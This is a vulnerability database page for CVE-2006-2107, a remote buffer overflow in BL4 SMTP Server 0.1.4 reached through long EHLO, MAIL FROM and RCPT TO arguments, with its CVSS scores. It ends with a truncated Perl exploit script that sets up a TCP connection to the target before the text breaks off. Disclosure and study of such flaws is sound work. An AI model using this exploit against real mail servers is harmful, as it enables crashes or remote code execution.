7.5
CVSSv2

CVE-2006-2107

Published: 29/04/2006 Updated: 18/10/2018
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

Buffer overflow in BL4 SMTP Server 0.1.4 and previous versions allows remote malicious users to cause a denial of service (crash) or execute arbitrary code via a long argument to the (1) EHLO, (2) MAIL FROM, and (3) RCPT TO commands.

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bl4 smtp server

Exploits

#!/usr/bin/perl use IO::Socket; use Socket; my($socket) = ""; if($#ARGV < 1 | $#ARGV > 2) {usage()} if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" }; $adr = $ARGV[0]; $prt = $ARGV[1]; $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr, PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\ ...